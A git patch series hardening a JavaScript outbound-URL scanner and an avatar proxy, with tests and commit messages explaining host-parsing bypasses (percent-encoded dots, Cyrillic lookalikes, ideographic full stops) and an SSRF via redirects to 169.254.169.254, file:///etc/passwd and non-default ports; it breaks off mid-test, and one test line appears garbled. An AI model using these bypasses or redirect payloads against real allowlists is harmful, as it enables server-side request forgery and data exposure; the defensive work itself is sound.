2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/scripts/validate-outbound.cjs b/scripts/validate-outbound.cjs index b833a0b4..049de7a0 100644 --- a/scripts/validate-outbound.cjs +++ b/scripts/validate-outbound.cjs @@ -63,6 +63,11 @@ function decodeSourceEscapes(text) { .replace(/\\\//g, "/"); } +// Only %XX sequences; anything malformed is left alone rather than guessed at. +function percentDecode(text) { + return text.replace(/%([0-9a-fA-F]{2})/g, (_m, hex) => safeFromCodePoint(parseInt(hex, 16))); +} + function safeFromCodePoint(code) { try { return String.fromCodePoint(code); @@ -79,7 +84,13 @@ function safeFromCodePoint(code) { function resolveHost(rawAuthority) { // WHATWG removes tab/LF/CR from the input before parsing; so must we, after // decoding the escapes that put them there. - const authority = decodeSourceEscapes(rawAuthority).replace(/[\t\n\r]/g, ""); + // Percent-decoding happens in the host too: `api.github.com%2eevil.example` + // resolves to api.github.com.evil.example, because a decoded dot is a valid + // host character. The shape test rejected the `%` and returned null, so the + // request went unseen — the same source-text-versus-decoded-string root cause + // as the escape splice, one encoding layer further out. Verify with + // node -e 'console.log(new URL("https://a.example%2eevil.example/").host)' + const authority = percentDecode(decodeSourceEscapes(rawAuthority)).replace(/[\t\n\r]/g, ""); const authorityOnly = authority.split(/[/\\?#]/)[0]; const afterUserinfo = authorityOnly.includes("@") ? authorityOnly.slice(authorityOnly.lastIndexOf("@") + 1) diff --git a/test/outbound-inventory.test.js b/test/outbound-inventory.test.js index 21197da7..09c0d0b8 100644 --- a/test/outbound-inventory.test.js +++ b/test/outbound-inventory.test.js @@ -417,3 +417,18 @@ test("data_from covers a host stored as a value and never fetched", () => { const asData = shared({ data_from: ["dashboard/src/A.jsx"] }); assert.deepEqual(attack('const row = { project_ref: `https://shared.example/${repo}` };', [asData]), []); }); + +test("percent-encoding in the authority cannot borrow a permitted host", () => { + // `https://shared.example%2eevil.example/x` resolves to + // shared.example.evil.example — a decoded dot is a valid host character: + // node -e 'console.log(new URL("https://a.example%2eevil.example/").host)' + // The hostname shape test rejected the `%` and returned null, so the request + // was silently green. Same source-text-versus-decoded-string root cause as the + // escape splice, one encoding layer further out. + const permitted = shared({ request_from: ["dashboard/src/A.jsx"] }); + const findings = attack('fetch("https://shared.example%2eevil.example/x");', [permitted]); + assert.ok( + findings.some((f) => f.includes("shared.example.evil.example")), + `percent-decoded host not resolved: ${JSON.stringify(findings)}`, + ); +}); From 512eb0c449053e4c6635d053928f6e66a4b55fed Mon Sep 17 00:00:00 2001 From: "itarun.p" Date: Sat, 25 Jul 2026 18:07:09 +0700 Subject: [PATCH 06/10] fix(validate): stop hand-parsing URLs; use the parser the runtime uses MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Codex QA returned SHIP: NO with a CRITICAL, and it was right. fetch("https://аapi.github.com/x") // first а is Cyrillic resolved to `api.github.com` — declared AND permitted — while the runtime goes to xn--api-5cd.github.com. The strip that did it, `replace(/^[^a-zA-Z0-9]+/, "")`, existed to clean up an interpolated suffix and silently removed the lookalike character instead. Green while it leaks, which is the failure mode worse than a miss. That is the sixth round of hand-rolled parsing failing the same way: the scanner modelled the URL more narrowly than the runtime does. Userinfo, backslash-as-slash, control-character stripping, percent-decoding, a trailing dot, case folding, an ideographic full stop, a lookalike prefix — each was its own patch, and each time something else was already waiting. So the runtime's parser decides now. `new URL()` implements WHATWG, which is what the browser and undici follow: it punycodes IDN, normalises the dot variants, applies the backslash and userinfo rules, and rejects what is not a URL. Hand-parsing is reached only when interpolation makes a literal URL impossible to construct — and that path pins a zone only on a dot boundary with two or more labels. Three defects surfaced while making that change, all now tested: - Interpolation in the PATH was treated as an unresolvable authority, so `https://evil.example/${owner}.png` — the commonest shape, and the exact shape of the original leak — resolved to nothing. Silent miss. - A regex literal stripping a URL prefix (`/^https:\/\/github\.com\//`) was read as a URL. The `/^` sat between `replace(` and the match, hiding the string surgery, and the escaped slashes resolved to a bare `github`: a demand to declare a host that does not exist. Comments and string surgery are now filtered from the inventory as well as from the request set, since a prefix being stripped is not a destination this code can reach. - Percent-decoding invented hosts from `%09` and `%40`, which the runtime rejects outright. Deferring to `new URL()` removes that noise. Refs #101 --- scripts/validate-outbound.cjs | 98 ++++++++++++++++++--------------- test/outbound-inventory.test.js | 48 ++++++++++++++++ 2 files changed, 103 insertions(+), 43 deletions(-) diff --git a/scripts/validate-outbound.cjs b/scripts/validate-outbound.cjs index 049de7a0..a0aa75ef 100644 --- a/scripts/validate-outbound.cjs +++ b/scripts/validate-outbound.cjs @@ -76,53 +76,57 @@ function safeFromCodePoint(code) { } } -// Reduces an authority to the literal host the RUNTIME would use. Returns -// { host } when it can be pinned, or { unparseable: true } when a real scheme was -// matched but no host could be derived — the caller reports that rather than -// dropping it, because a silent null is how an IPv6 literal, an IDN homograph or -// a single-label host disappears from a security check. +// Resolves an authority to the host the RUNTIME would use. +// +// Hand-rolled parsing failed here six times, every time the same way: the +// scanner modelled the URL more narrowly than the runtime does. Userinfo, +// backslash-as-slash, tab/LF/CR stripping, percent-decoding, a trailing dot, +// case folding, an ideographic full stop, and a leading Cyrillic character that +// a `[^a-zA-Z0-9]` strip quietly removed — each was a separate patch, and the +// last one resolved `https://аapi.github.com` to the declared, permitted +// `api.github.com` while the runtime went to `xn--api-5cd.github.com`. +// +// So the runtime's own parser decides. `new URL()` implements WHATWG, which is +// what the browser and undici follow; it punycodes IDN, normalises the dot +// variants, and rejects what is not a URL. Hand-parsing is now reached only when +// interpolation makes a literal URL impossible to construct. function resolveHost(rawAuthority) { - // WHATWG removes tab/LF/CR from the input before parsing; so must we, after - // decoding the escapes that put them there. - // Percent-decoding happens in the host too: `api.github.com%2eevil.example` - // resolves to api.github.com.evil.example, because a decoded dot is a valid - // host character. The shape test rejected the `%` and returned null, so the - // request went unseen — the same source-text-versus-decoded-string root cause - // as the escape splice, one encoding layer further out. Verify with - // node -e 'console.log(new URL("https://a.example%2eevil.example/").host)' - const authority = percentDecode(decodeSourceEscapes(rawAuthority)).replace(/[\t\n\r]/g, ""); - const authorityOnly = authority.split(/[/\\?#]/)[0]; - const afterUserinfo = authorityOnly.includes("@") - ? authorityOnly.slice(authorityOnly.lastIndexOf("@") + 1) - : authorityOnly; - - // Bracketed IPv6 keeps its brackets; the port is outside them. - const ipv6 = afterUserinfo.match(/^\[([^\]]+)\]/); - if (ipv6) return { host: `[${ipv6[1].toLowerCase()}]` }; + const decoded = decodeSourceEscapes(rawAuthority); + // Interpolation in the PATH does not stop the host being a literal: + // `https://evil.example/${owner}.png` has a perfectly resolvable authority. + // Testing the whole string sent every such URL down the pin path, where it + // resolved to nothing. + const authorityText = decoded.split(/[/\\?#]/)[0]; - const collapsed = afterUserinfo.replace(/\$\{[^}]*\}/g, "\u0000"); - if (/[${}]/.test(collapsed)) return { host: null }; // match ended mid-expression - const parts = collapsed.split("\u0000"); - const tail = parts.pop(); - // An interpolation may only be pinned to its suffix when it ends on a label - // boundary. `https://${sub}github.com/` can resolve to `evilgithub.com`, which - // is registrable; `${token}-${i}.d.ip.net.coffee` cannot escape `.d.ip.net.coffee`. - // An interpolation may only be pinned to its suffix when the boundary falls on - // a dot AND the suffix is a zone rather than a bare TLD. `${sub}github.com` can - // resolve to the registrable `evilgithub.com`; `${src}.ai` pins nothing, since - // `ai` is the TLD itself. - if (parts.length > 0) { - if (!tail.startsWith(".")) return { host: null }; - if (tail.replace(/^\./, "").split(".").filter(Boolean).length < 2) return { host: null }; + if (!authorityText.includes("${")) { + try { + const url = new URL(`https://${authorityText.replace(/^\/+/, "")}`); + const host = url.hostname; + return host ? { host } : { host: null }; + } catch { + // Not a URL the runtime would accept either — nothing to report. + return { host: null }; + } } - const stripped = tail.replace(/^[^a-zA-Z0-9]+/, "").replace(/:.*$/, "").replace(/\.$/, ""); - if (!stripped) return { host: null }; - const host = stripped.toLowerCase(); - if (!/^[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/.test(host)) { + // Interpolated: the literal suffix is the most that can be pinned, and only + // when the boundary falls on a dot AND the suffix is a zone rather than a bare + // TLD. `${sub}github.com` can resolve to the registrable `evilgithub.com`; + // `${src}.ai` pins nothing, since `ai` is the TLD itself. + const parts = authorityText.replace(/\$\{[^}]*\}/g, "\u0000").split("\u0000"); + if (parts.length === 1) return { host: null }; + const tail = parts.pop(); + if (!tail.startsWith(".")) return { host: null }; + if (tail.replace(/^\./, "").split(".").filter(Boolean).length < 2) return { host: null }; + try { + // The `pinned` label exists only to make a parseable URL; strip it and the + // dot it left behind, so the zone is reported as `d.ip.net.coffee` rather + // than `.d.ip.net.coffee`. + const zone = new URL(`https://pinned${tail}`).hostname.replace(/^pinned\.?/, ""); + return { host: zone || null }; + } catch { return { host: null }; } - return { host }; } const MENTION_CALL_RE = /\.(replace|split|startsWith|endsWith|includes|slice|indexOf|lastIndexOf)\s*\(\s*$/; @@ -140,7 +144,10 @@ const COMMENT_LINE_RE = /^\s*(\/\/|\*|\/\*)/; // diff a reviewer has to approve, which is the same weight as `request_from`. function isMentionOnly(line, matchIndex) { if (COMMENT_LINE_RE.test(line)) return true; - const before = line.slice(0, matchIndex).replace(/["'`{(\s]+$/, ""); + // Also strip a regex-literal opener. `repoInput.replace(/^https:\/\/github\.com\//, "")` + // is string surgery on user input, but the `/^` between `replace(` and the URL + // hid that from a test that only looked past quotes and braces. + const before = line.slice(0, matchIndex).replace(/[/^"'`{(\s]+$/, ""); return MENTION_CALL_RE.test(before + "(") || MENTION_CALL_RE.test(line.slice(0, matchIndex)); } @@ -186,9 +193,14 @@ function collectHosts({ root = ROOT } = {}) { // done with the per-pattern care it needs. const { host } = resolveHost(match[1]); if (!host) continue; + // String surgery and comments are filtered from BOTH views. A prefix + // being stripped off user input is not a destination this code can + // reach, so it does not belong in the inventory either — and a regex + // literal like `/^https:\/\/github\.com\//` otherwise resolves to a + // bare `github`, demanding a declaration for a host that does not exist. + if (isMentionOnly(line, match.index)) continue; if (!mentions.has(host)) mentions.set(host, new Set()); mentions.get(host).add(relative); - if (isMentionOnly(line, match.index)) continue; if (!requests.has(host)) requests.set(host, new Map()); requests.get(host).set(relative, index + 1); } diff --git a/test/outbound-inventory.test.js b/test/outbound-inventory.test.js index 09c0d0b8..78aede17 100644 --- a/test/outbound-inventory.test.js +++ b/test/outbound-inventory.test.js @@ -432,3 +432,51 @@ test("percent-encoding in the authority cannot borrow a permitted host", () => { `percent-decoded host not resolved: ${JSON.stringify(findings)}`, ); }); + +test("a lookalike character cannot be stripped into a permitted host", () => { + // `https://аapi.github.com` — the first `а` is Cyrillic. The runtime punycodes + // it to xn--api-5cd.github.com; a `[^a-zA-Z0-9]` strip quietly removed it and + // resolved to `api.github.com`, declared AND permitted. Green while it leaks. + // + // Six hand-rolled parsing rounds failed the same way, so host resolution now + // defers to `new URL()` — the parser the runtime itself uses. + const permitted = shared({ request_from: ["dashboard/src/A.jsx"] }); + const findings = attack('fetch("https://аshared.example/x");', [permitted]); + assert.ok( + findings.some((f) => f.includes("xn--")), + `punycode host not reported: ${JSON.stringify(findings)}`, + ); +}); + +test("an ideographic full stop is a label separator", () => { + // U+3002 is normalised to "." by WHATWG, so `shared.example。evil.example` + // resolves to shared.example.evil.example. + const permitted = shared({ request_from: ["dashboard/src/A.jsx"] }); + assert.ok( + attack('fetch("https://shared.example。evil.example/x");', [permitted]).some((f) => + f.includes("evil.example"), + ), + ); +}); + +test("interpolation in the path leaves the host literal", () => { + // `https://evil.example/${owner}.png` has a resolvable authority. Testing the + // whole string for `${` sent every such URL down the pin path, where it + // resolved to nothing — a silent miss on the commonest shape there is. + assert.ok( + attack("const x = ;").some((f) => + f.includes("evil.example"), + ), + ); +}); + +test("a regex literal stripping a URL prefix is not a destination", () => { + // `repoInput.replace(/^https:\/\/github\.com\//, "")` is string surgery on user + // input. The `/^` between `replace(` and the URL hid that, and the escaped + // slashes then resolved to a bare `github` — a demand to declare a host that + // does not exist. + assert.deepEqual( + attack('const raw = repoInput.trim().replace(/^https:\\/\\/shared\\.example\\//, "");'), + [], + ); +}); From 802ddd4e3f7cf48dd6d32d5af3c2e52b0450e71d Mon Sep 17 00:00:00 2001 From: "itarun.p" Date: Sat, 25 Jul 2026 18:33:00 +0700 Subject: [PATCH 07/10] chore(validate): drop percentDecode, made redundant by the URL parser MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Defined and never called after host resolution moved to new URL(), which decodes %2e itself — confirmed by the probe that motivated adding it. Dead code in a security control is a review liability: a reader has to work out whether it is load-bearing. --- scripts/validate-outbound.cjs | 5 ----- 1 file changed, 5 deletions(-) diff --git a/scripts/validate-outbound.cjs b/scripts/validate-outbound.cjs index a0aa75ef..cd2474f3 100644 --- a/scripts/validate-outbound.cjs +++ b/scripts/validate-outbound.cjs @@ -63,11 +63,6 @@ function decodeSourceEscapes(text) { .replace(/\\\//g, "/"); } -// Only %XX sequences; anything malformed is left alone rather than guessed at. -function percentDecode(text) { - return text.replace(/%([0-9a-fA-F]{2})/g, (_m, hex) => safeFromCodePoint(parseInt(hex, 16))); -} - function safeFromCodePoint(code) { try { return String.fromCodePoint(code); From f3a503174cd486fb1518d8690f2b2f0634cc3032 Mon Sep 17 00:00:00 2001 From: "itarun.p" Date: Sat, 25 Jul 2026 18:50:37 +0700 Subject: [PATCH 08/10] fix(security): the avatar proxy followed redirects off its own allowlist MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Found by the Codex QA gate. Pre-existing, not introduced by this branch, but it is the same class the branch is about and it is two lines from the code being changed. src/lib/local-api.js checked the requested host against an avatar-CDN allowlist, then called fetch with redirect: "follow". `fetch` validates nothing after the first request, so an allowlisted CDN issuing a redirect — or anyone able to place one there — turned this loopback server into a way to reach 169.254.169.254, another service on 127.0.0.1, or any internal address. The endpoint is reachable from any page the user has open, since it is a plain GET on a known local port. Redirects are now followed by hand, with the host re-checked at every hop, a non-http(s) scheme refused, and a three-hop ceiling. A blocked redirect answers 403 rather than a generic upstream error, so the reason is legible. Five tests, driven through an injected fetch: the metadata-service redirect is refused AND never requested, an in-allowlist redirect still works, a relative Location resolves against the current URL rather than being assumed safe, file:// and data: are refused, and a redirect loop terminates. The helper is exported because the defect only exists across a hop, which no handler-level test reaches. --- openwiki-facts/source-facts.json | 26 +++++----- src/lib/local-api.js | 63 ++++++++++++++++++++--- test/avatar-proxy-redirect.test.js | 83 ++++++++++++++++++++++++++++++ 3 files changed, 151 insertions(+), 21 deletions(-) create mode 100644 test/avatar-proxy-redirect.test.js diff --git a/openwiki-facts/source-facts.json b/openwiki-facts/source-facts.json index bfe97de4..37b675ae 100644 --- a/openwiki-facts/source-facts.json +++ b/openwiki-facts/source-facts.json @@ -44,7 +44,7 @@ "methods": [ "POST" ], - "evidence": "src/lib/local-api.js:898", + "evidence": "src/lib/local-api.js:940", "mutation": true }, { @@ -52,7 +52,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:932", + "evidence": "src/lib/local-api.js:974", "mutation": false }, { @@ -60,7 +60,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:943", + "evidence": "src/lib/local-api.js:985", "mutation": false }, { @@ -68,7 +68,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1028", + "evidence": "src/lib/local-api.js:1070", "mutation": false }, { @@ -76,7 +76,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1039", + "evidence": "src/lib/local-api.js:1081", "mutation": false }, { @@ -84,7 +84,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1107", + "evidence": "src/lib/local-api.js:1149", "mutation": false }, { @@ -92,7 +92,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1186", + "evidence": "src/lib/local-api.js:1228", "mutation": false }, { @@ -100,7 +100,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1232", + "evidence": "src/lib/local-api.js:1274", "mutation": false }, { @@ -108,7 +108,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1309", + "evidence": "src/lib/local-api.js:1351", "mutation": false }, { @@ -116,7 +116,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1319", + "evidence": "src/lib/local-api.js:1361", "mutation": false }, { @@ -124,7 +124,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1329", + "evidence": "src/lib/local-api.js:1371", "mutation": false }, { @@ -133,7 +133,7 @@ "GET", "POST" ], - "evidence": "src/lib/local-api.js:1363", + "evidence": "src/lib/local-api.js:1405", "mutation": true }, { @@ -141,7 +141,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1513", + "evidence": "src/lib/local-api.js:1555", "mutation": false } ] diff --git a/src/lib/local-api.js b/src/lib/local-api.js index c179869c..65392068 100644 --- a/src/lib/local-api.js +++ b/src/lib/local-api.js @@ -20,6 +20,41 @@ const AVATAR_PROXY_MAX_BYTES = 512 * 1024; // 512 KiB per image const AVATAR_PROXY_MAX_ENTRIES = 64; const avatarProxyCache = new Map(); +// Sentinel for "a redirect left the allowlist", kept distinct from a network +// failure so the caller can answer 403 rather than a generic upstream error. +const AVATAR_REDIRECT_BLOCKED = Symbol("avatar-redirect-blocked"); +const AVATAR_MAX_REDIRECTS = 3; + +function isAllowedAvatarHost(hostname, allowlist) { + return allowlist.some((host) => hostname === host || hostname.endsWith(`.${host}`)); +} + +// The avatar allowlist is checked once, against the URL the caller asked for. +// `fetch(..., { redirect: "follow" })` then goes wherever the response points and +// validates nothing further — so an allowlisted CDN issuing a redirect, or anyone +// able to place one there, turns this loopback server into a way to reach +// 169.254.169.254, another service on 127.0.0.1, or any internal address. +// Follow by hand and re-check the host at every hop. +async function fetchAvatarFollowingAllowlist(url, options, allowlist, fetchImpl = fetch) { + let current = url; + for (let hop = 0; hop <= AVATAR_MAX_REDIRECTS; hop += 1) { + const response = await fetchImpl(current, { ...options, redirect: "manual" }); + if (response.status < 300 || response.status >= 400) return response; + const location = response.headers.get("location"); + if (!location) return response; + let next; + try { + next = new URL(location, current); + } catch { + return AVATAR_REDIRECT_BLOCKED; + } + if (next.protocol !== "https:" && next.protocol !== "http:") return AVATAR_REDIRECT_BLOCKED; + if (!isAllowedAvatarHost(next.hostname, allowlist)) return AVATAR_REDIRECT_BLOCKED; + current = next.toString(); + } + return AVATAR_REDIRECT_BLOCKED; +} + // --------------------------------------------------------------------------- // Per-model pricing — delegated to src/lib/pricing/ // - CURATED overrides (kiro-*, hy3-*, composer-*, kimi-for-coding, etc.) @@ -855,15 +890,22 @@ function createLocalApiHandler({ queuePath }) { } try { - const upstream = await fetch(cacheKey, { - method, - redirect: "follow", - headers: { - accept: req.headers["accept"] || "image/*", - "accept-language": req.headers["accept-language"] || "en", - "user-agent": "TokenTracker/AvatarProxy", + const upstream = await fetchAvatarFollowingAllowlist( + cacheKey, + { + method, + headers: { + accept: req.headers["accept"] || "image/*", + "accept-language": req.headers["accept-language"] || "en", + "user-agent": "TokenTracker/AvatarProxy", + }, }, - }); + AVATAR_HOST_ALLOWLIST, + ); + if (upstream === AVATAR_REDIRECT_BLOCKED) { + json(res, { error: "Redirect target not allowed" }, 403); + return true; + } if (!upstream.ok) { json(res, { error: `Upstream ${upstream.status}` }, upstream.status); return true; @@ -1535,6 +1577,11 @@ function createLocalApiHandler({ queuePath }) { module.exports = { createLocalApiHandler, + // Exported so the redirect allowlist can be tested directly: the SSRF this + // closes is only observable across a redirect hop, which no handler-level + // test reaches. + fetchAvatarFollowingAllowlist, + AVATAR_REDIRECT_BLOCKED, resolveQueuePath, // Exported for cross-consumer tests (pricing + native contract lock). MODEL_PRICING, diff --git a/test/avatar-proxy-redirect.test.js b/test/avatar-proxy-redirect.test.js new file mode 100644 index 00000000..d1e0d0a4 --- /dev/null +++ b/test/avatar-proxy-redirect.test.js @@ -0,0 +1,83 @@ +const assert = require("node:assert/strict"); +const { test } = require("node:test"); + +const { fetchAvatarFollowingAllowlist, AVATAR_REDIRECT_BLOCKED } = require("../src/lib/local-api"); + +const ALLOWLIST = ["githubusercontent.com", "gravatar.com"]; + +// Minimal stand-in for a fetch Response, enough for the redirect walk. +function reply(status, location) { + return { + status, + ok: status >= 200 && status < 300, + headers: { get: (name) => (name.toLowerCase() === "location" ? location : null) }, + }; +} + +function fetcher(script) { + const seen = []; + const impl = async (url) => { + seen.push(url); + const next = script.shift(); + if (!next) throw new Error(`unexpected request to ${url}`); + return next; + }; + impl.seen = seen; + return impl; +} + +test("a redirect off the allowlist is refused, and never requested", async () => { + // The allowlist was checked once, against the URL the caller asked for, and + // `redirect: "follow"` then went wherever the response pointed. An allowlisted + // CDN issuing a redirect — or anyone able to place one there — made this + // loopback server a way to reach cloud metadata or another local service. + const impl = fetcher([reply(302, "http://169.254.169.254/latest/meta-data/")]); + const result = await fetchAvatarFollowingAllowlist( + "https://avatars.githubusercontent.com/u/1", + { method: "GET" }, + ALLOWLIST, + impl, + ); + assert.equal(result, AVATAR_REDIRECT_BLOCKED); + assert.deepEqual(impl.seen, ["https://avatars.githubusercontent.com/u/1"], "the target must never be fetched"); +}); + +test("a redirect that stays on the allowlist is followed", async () => { + const impl = fetcher([reply(301, "https://gravatar.com/avatar/abc"), reply(200)]); + const result = await fetchAvatarFollowingAllowlist( + "https://avatars.githubusercontent.com/u/1", + { method: "GET" }, + ALLOWLIST, + impl, + ); + assert.equal(result.status, 200); + assert.equal(impl.seen.length, 2); +}); + +test("a relative redirect is resolved against the current URL, not assumed safe", async () => { + const impl = fetcher([reply(302, "/other.png"), reply(200)]); + const result = await fetchAvatarFollowingAllowlist( + "https://gravatar.com/avatar/abc", + { method: "GET" }, + ALLOWLIST, + impl, + ); + assert.equal(result.status, 200); + assert.equal(impl.seen[1], "https://gravatar.com/other.png"); +}); + +test("a non-http scheme in Location is refused", async () => { + // file:// and data: would otherwise be handed straight to fetch. + for (const location of ["file:///etc/passwd", "data:text/html,x"]) { + const impl = fetcher([reply(302, location)]); + const result = await fetchAvatarFollowingAllowlist("https://gravatar.com/a", {}, ALLOWLIST, impl); + assert.equal(result, AVATAR_REDIRECT_BLOCKED, location); + } +}); + +test("a redirect loop terminates instead of hanging", async () => { + const impl = fetcher(Array.from({ length: 10 }, () => reply(302, "https://gravatar.com/loop"))); + const result = await fetchAvatarFollowingAllowlist("https://gravatar.com/a", {}, ALLOWLIST, impl); + assert.equal(result, AVATAR_REDIRECT_BLOCKED); + assert.ok(impl.seen.length <= 5, `too many hops: ${impl.seen.length}`); +}); From 1c625416922fd6b37c20ca099cd2803cca7e7259 Mon Sep 17 00:00:00 2001 From: "itarun.p" Date: Sat, 25 Jul 2026 21:10:56 +0700 Subject: [PATCH 09/10] fix(security): the avatar allowlist checked the host but not the port MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `gravatar.com:8443` satisfies a hostname allowlist while pointing at a different service, so the address allowlist could be walked across ports — at the entry point and at every redirect hop, neither of which looked at `port`. Verified: under the old predicate `https://gravatar.com:8443/x` returned hostOk=true. The entry point and the hop check were also two separate copies of the same predicate, which is how the redirect gap survived the first fix. They are now one function, `isAllowedAvatarTarget(url, allowlist)`, checking scheme, host and port together. An empty `port` is the scheme default (443/80) and is the only value permitted; `new URL` normalises an explicit `:443` to empty, so writing the default out is still accepted. Three regression tests: a non-default port is refused and never requested (https, http, and protocol-relative), the default port still works written either way, and the entry-point guard and the hop guard agree on the same set of targets. No live caller is affected — the browser-side avatar loads were removed earlier in this branch, so the endpoint currently has no consumer. ci:local exit 0: 883 root tests, 256 dashboard. --- openwiki-facts/source-facts.json | 26 ++++++------ src/lib/local-api.js | 26 +++++++----- test/avatar-proxy-redirect.test.js | 65 +++++++++++++++++++++++++++++- 3 files changed, 93 insertions(+), 24 deletions(-) diff --git a/openwiki-facts/source-facts.json b/openwiki-facts/source-facts.json index 37b675ae..653b664f 100644 --- a/openwiki-facts/source-facts.json +++ b/openwiki-facts/source-facts.json @@ -44,7 +44,7 @@ "methods": [ "POST" ], - "evidence": "src/lib/local-api.js:940", + "evidence": "src/lib/local-api.js:945", "mutation": true }, { @@ -52,7 +52,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:974", + "evidence": "src/lib/local-api.js:979", "mutation": false }, { @@ -60,7 +60,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:985", + "evidence": "src/lib/local-api.js:990", "mutation": false }, { @@ -68,7 +68,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1070", + "evidence": "src/lib/local-api.js:1075", "mutation": false }, { @@ -76,7 +76,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1081", + "evidence": "src/lib/local-api.js:1086", "mutation": false }, { @@ -84,7 +84,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1149", + "evidence": "src/lib/local-api.js:1154", "mutation": false }, { @@ -92,7 +92,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1228", + "evidence": "src/lib/local-api.js:1233", "mutation": false }, { @@ -100,7 +100,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1274", + "evidence": "src/lib/local-api.js:1279", "mutation": false }, { @@ -108,7 +108,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1351", + "evidence": "src/lib/local-api.js:1356", "mutation": false }, { @@ -116,7 +116,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1361", + "evidence": "src/lib/local-api.js:1366", "mutation": false }, { @@ -124,7 +124,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1371", + "evidence": "src/lib/local-api.js:1376", "mutation": false }, { @@ -133,7 +133,7 @@ "GET", "POST" ], - "evidence": "src/lib/local-api.js:1405", + "evidence": "src/lib/local-api.js:1410", "mutation": true }, { @@ -141,7 +141,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1555", + "evidence": "src/lib/local-api.js:1560", "mutation": false } ] diff --git a/src/lib/local-api.js b/src/lib/local-api.js index 65392068..a8eef768 100644 --- a/src/lib/local-api.js +++ b/src/lib/local-api.js @@ -25,8 +25,17 @@ const avatarProxyCache = new Map(); const AVATAR_REDIRECT_BLOCKED = Symbol("avatar-redirect-blocked"); const AVATAR_MAX_REDIRECTS = 3; -function isAllowedAvatarHost(hostname, allowlist) { - return allowlist.some((host) => hostname === host || hostname.endsWith(`.${host}`)); +// One check for the URL the caller asked for AND for every redirect hop, so the +// two can't drift apart. Port is part of the address: `https://gravatar.com:8443/` +// shares the hostname but is a different service, so leaving the port free turns +// this proxy into a port prober against every allowlisted host. An empty `port` +// is the scheme default (443 / 80) — the only one permitted. +function isAllowedAvatarTarget(url, allowlist) { + if (url.protocol !== "https:" && url.protocol !== "http:") return false; + if (url.port !== "") return false; + return allowlist.some( + (host) => url.hostname === host || url.hostname.endsWith(`.${host}`), + ); } // The avatar allowlist is checked once, against the URL the caller asked for. @@ -34,7 +43,7 @@ function isAllowedAvatarHost(hostname, allowlist) { // validates nothing further — so an allowlisted CDN issuing a redirect, or anyone // able to place one there, turns this loopback server into a way to reach // 169.254.169.254, another service on 127.0.0.1, or any internal address. -// Follow by hand and re-check the host at every hop. +// Follow by hand and re-check the whole address at every hop. async function fetchAvatarFollowingAllowlist(url, options, allowlist, fetchImpl = fetch) { let current = url; for (let hop = 0; hop <= AVATAR_MAX_REDIRECTS; hop += 1) { @@ -48,8 +57,7 @@ async function fetchAvatarFollowingAllowlist(url, options, allowlist, fetchImpl } catch { return AVATAR_REDIRECT_BLOCKED; } - if (next.protocol !== "https:" && next.protocol !== "http:") return AVATAR_REDIRECT_BLOCKED; - if (!isAllowedAvatarHost(next.hostname, allowlist)) return AVATAR_REDIRECT_BLOCKED; + if (!isAllowedAvatarTarget(next, allowlist)) return AVATAR_REDIRECT_BLOCKED; current = next.toString(); } return AVATAR_REDIRECT_BLOCKED; @@ -868,11 +876,8 @@ function createLocalApiHandler({ queuePath }) { "abs.twimg.com", "api.dicebear.com", ]; - const hostOk = AVATAR_HOST_ALLOWLIST.some( - (h) => parsed.hostname === h || parsed.hostname.endsWith(`.${h}`), - ); - if (!hostOk) { - json(res, { error: "Host not allowed" }, 403); + if (!isAllowedAvatarTarget(parsed, AVATAR_HOST_ALLOWLIST)) { + json(res, { error: "Address not allowed" }, 403); return true; } @@ -1581,6 +1586,7 @@ module.exports = { // closes is only observable across a redirect hop, which no handler-level // test reaches. fetchAvatarFollowingAllowlist, + isAllowedAvatarTarget, AVATAR_REDIRECT_BLOCKED, resolveQueuePath, // Exported for cross-consumer tests (pricing + native contract lock). diff --git a/test/avatar-proxy-redirect.test.js b/test/avatar-proxy-redirect.test.js index d1e0d0a4..f834101c 100644 --- a/test/avatar-proxy-redirect.test.js +++ b/test/avatar-proxy-redirect.test.js @@ -1,7 +1,11 @@ const assert = require("node:assert/strict"); const { test } = require("node:test"); -const { fetchAvatarFollowingAllowlist, AVATAR_REDIRECT_BLOCKED } = require("../src/lib/local-api"); +const { + fetchAvatarFollowingAllowlist, + isAllowedAvatarTarget, + AVATAR_REDIRECT_BLOCKED, +} = require("../src/lib/local-api"); const ALLOWLIST = ["githubusercontent.com", "gravatar.com"]; @@ -75,6 +79,65 @@ test("a non-http scheme in Location is refused", async () => { } }); +test("a redirect to a non-default port on an allowed host is refused, and never requested", async () => { + // The hostname allowlist alone is not an address allowlist. `gravatar.com:8443` + // passes any hostname check while pointing at a different service, so an + // allowlisted CDN could still walk this proxy across ports. + for (const location of [ + "https://gravatar.com:8443/x", + 